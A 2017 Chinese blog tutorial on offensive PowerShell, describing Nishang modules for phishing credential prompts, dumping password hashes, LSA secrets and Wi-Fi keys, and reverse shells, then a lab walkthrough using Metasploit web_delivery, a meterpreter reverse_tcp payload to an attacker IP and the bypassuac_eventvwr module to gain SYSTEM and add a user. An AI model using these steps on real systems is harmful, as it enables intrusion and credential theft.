当前位置:首页 > 未分类 > 正文内容

(原创)Powershell And Metasploit (上)

admin9年前 (2017-03-08)未分类251

00x01 #题外话

  • 作者: 墨 (X_Al3r)

  • 一篇不知道该用什么名字的文章!

00x02 #什么是 Powershell

PowerShell 一般指 Windows Power Shell

Powershell 是 Microsoft Windows 命令行 shell 程序和脚本环境,它提供了令人难以置信的活性和功能来管理 Windows 系统,现在 Windows 系统上基本上都有它的存在。正因为它的强大,才能被我们所利用,帮助我们进行渗透测试。

Powershell 的各系统版本

  1. Windows 2008 R2 - Version 2

  1. Windows 2012 - Version 3

  1. Windows 2012 R2 - Version 4

  1. Windows 2016 - Version 5

#Poswershell 的优秀之处

  1. 代码运行在内存中可以不去接触磁盘

  1. 从另一个系统中下载代码并执行

  1. 很多安全产品并不能监测到 powershell 的活动

  1. cmd.exe 通常被阻止运行,但是 powershell 不会。

00x03 #所需要准备的东西

  1. Nishanghttps://github.com/samratashok/nishang (本文主要工具,其他不做使用介绍)、

用于逆向工程的 PowerShell 模块,可进行反汇编托管以及非托管的代码、进行.NET 恶意软件分析、分析内存、解析文件格式和内存结构、获得内部系统信息等。

  1. LinuxKaLi: https://www.kali.org

#导入 Nishang 脚本

  1. 启用 Powershell

Win+R 启动 Powershell

  1. 加载 Nishang 脚本

命令:Import-Module .\nishang.psm1

记住,要加上.\否则会报错例如这样

00x04 模块介绍

#信息搜集

  1. Check-VM:它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息 (如:HVMWare,Virtual Box,) 来识别。

  1. Invoke-CredentialsPhish:这个脚本是用来欺骗用户输入账号密码信息的

他会一直持续到你输入正确为止 (无法关闭) 直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码

    • Useradmin:admin

    • PassWord:qwe123!@#

  1. FireBuster FireListener:可以对内网进行扫描,它会把包发给 FireListener

脚本作者的 Github 上面还提供了一个 Python 版的监听端:

https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/

  1. Get-Information:这个脚本可以获取目标机器上大量的信息 (FTP 访问,进程,计算机配置信息,无线网络和设备的信息,Hosts 信息等等非超丰富)。

还有许多,反正就是很丰富当然,如果你这样看不习惯,也可以使用 Out-File 来将运行结果保存到指定文件:

Get-Information | Out-File D:\1.txt

  1. Get-LSASecret:该脚本可以获取 LSA 信息,但是使用的前提当然是你已经成功提升了权限的情况下。

因为执行这个脚本需要 32 位的 powershell(我的为 64)就不做演示了

  1. Get-PassHashes:这个脚本在 Administrator 的权限下,可以读出密码哈希值

可以使用-PSObjectFormat来格式化输出结果

  1. Get-WLAN-Keys:在 Administrator 的权限下,可以利用这个脚本来 dump 出 WLAN 文件的密钥信息

没有装 wlan 所以没有信息

  1. Invoke-MimikatzWdigestDowngrade:Dump 出 Windows 8.1 and Server 2012 的系统用户密码。

相信看到 Mimikatz 也就知道了,执行了 Windows 会锁屏

  1. Get-PassHints:从一个目标得到 Windows 用户的密码提示,没有密码提示,就不演示了

以上内容从安全课一篇文章中介绍,因为内容有点像,就引用了对脚本的介绍

喜欢提权的小伙伴,干货来了~~~

#反弹 shell

  1. Invoke-PowerShellTcp:互交式 Powershell 反向 TCP 连接

首先我在 Kali (标题带有 kali 怎么能不启用 kali 呢) 上启用启用一个监听

然后开始在 Powershell 上使用 Invoke-PowerShellTcp 反弹一个 shell 过去

同样,windows 也可以挂载一个监听使用 powercat 即可

Powercat 项目地址:https://github.com/besimorhino/powercat

同样在 Powershell 上使用 Invoke-PowerShellTcp 反弹一个 shell 过去

同样,毫无例外

  1. Invoke-PowerShellUdp:互交式 Powershell 反向 udp 连接

同样我先在 Kali 上启用启用一个监听不过这次用的 ncat

  1. powercat:这款工具的强大我相信也不用我多说了吧,他被称之为 PowerShell 的 netcat 之前也有说,我就不细细介绍了

当然,反弹 shell 不止这么点,还有许多,我就不一一介绍了接下来开始进行一个实例操作吧~~~

00x04 实战操作 Powershell 与 Metasploit

1. win10_BypassUAC (win10 提权)

    1. 攻击者 ip192.168.1.103

    1. 攻击者系统:Linux Kali

    1. 被攻击者 ip192.168.1.100

    1. 被攻击者系统:Win10

2. 攻击流程

  1. 使用 Metasploit 中的 web_delivery 模块生成一个 Powershell 脚本

  1. 被攻击者系统执行 Posershell 脚本

  1. msf 接收一个会话

  1. 使用 bypassuac 模块提升权限

3. 攻击开始

  1. 加载 web_delivery 模块

use exploit/multi/script/web_delivery

Show options查看所需要设置的信息

然后我在物理机上执行下 Metasploit 给我的 Powershell 执行代码

Metasploit 反弹得到一个 meterpreter 会话

    • 设置 target 为 2:set target 2

    • 加载一个 Payload:set payload windows/meterpreter/reverse_tcp

    • 设置 LHOST

    • 设置 LPORT

    • 开始攻击:Exploit

  1. 加载 BypassUac 模块

use exploit/windows/local/bypassuac_eventvwr

Show options查看所需配置

当然你需要换一下你的端口,否则会冲突

反弹得到一个会话

得到 system 权限

使用 shell 命令进入 cmd 添加用户

已经添加成功,如果直接添加是不可以的

    • 设置 session:set session(设置你刚刚获得的 meterpreter 会话)

    • 开始攻击:Exploit

结尾

Powershell And Metasploit (上) 结束

下会后续发布~~如果文字教学不懂的话可以跟我说一下,我尝试做一套教程~

UAC 提权 (来自我们 demon 表哥的视频):

http://oc78wb8cz.bkt.clouddn.com/win10_bypassUAC.mp4

本文搜集许多资料做的小结,有如雷同,请勿责怪~


扫描二维码推送至手机访问。

版权声明:本文由克拉玛依三十年社团发布,如需转载请注明出处。

本文链接:https://www.klmyssn.com/?id=36

分享给朋友:

“(原创)Powershell And Metasploit (上)” 的相关文章

(原创)校园卡破解系列之权限克隆 [pm3 破解饭卡][pm3 克隆数据][校园卡克隆][IC 卡克隆]

(原创)校园卡破解系列之权限克隆 [pm3 破解饭卡][pm3 克隆数据][校园卡克隆][IC 卡克隆]

一、免责声明本文主张交流与科研学习,请勿对文中提及的内容进行恶意使用!本社团及作者对读者后续的行为不承担任何法律责任。此文章是综合之前饭卡复制、权限提升漏洞后的合并版本,后半部分聚焦饭卡破解;若看过之前文章,可直接跳转至 “(一)饭卡权限提升” 章节。二、基础准备:工具与测试对象1. 核心工具:PM...

(原创)还在用软件翻墙?看我几秒搞定!

首先说下原理,修改设备 hosts 文件信息,将各大国外网站域名直接指向服务器 ip,绕过国家的 GFW 防火墙,从而可以访问 Google、Facebook、ebay、YouTube、Yahoo、、、太多还是不打了,自己测试-------------------------------------...

(原创)sqlmap 注入初级教程 [sqlmap][sqlmap 指令][sqlmap 怎么用]

(原创)sqlmap 注入初级教程 [sqlmap][sqlmap 指令][sqlmap 怎么用]

一、熟悉 sqlmap 之路:核心注入场景与方法1. Sqlmap 之 Post 注入Post 注入适用于表单提交(如登录页、数据提交页)等场景,核心是通过抓取 Post 请求数据进行注入测试,以下为 4 种常用方法:方法一:基于请求文件(-r 参数)# 基础用法(请求文件与sqlmap同目录)sq...

(原创) 校园卡破解系列之数据修改 [pm3 破解饭卡][pm3 修改数据][校园卡修改][IC 卡修改数据]

(原创) 校园卡破解系列之数据修改 [pm3 破解饭卡][pm3 修改数据][校园卡修改][IC 卡修改数据]

(二)吃不完的饭卡提升完 IC 卡权限,就该考虑能不能修改饭卡金额了。通过两次消费前后饭卡数据的对比分析,发现虽然卡片数据包含较多扇区和区块,但消费前后变化的地方仅涉及两个扇区,这为后续分析提供了便利。通过十六进制与十进制转换,可进一步拆解变化的数据:消费后金额:373.2(数字:37320;16...

带你挖掘文件包含漏洞之代码审计 #4 实战五个案例

带你挖掘文件包含漏洞之代码审计 #4 实战五个案例

在 PHP 安全中,文件包含漏洞是危害严重的漏洞!本文不再讲解基础概念,直接进入实战环节。一、文件包含漏洞挖掘要点核心关键字:require()、require_once()、include()、include_once()(注意:函数名中括号与参数间存在空格,效果相同);本次实战对象:CMS 系统...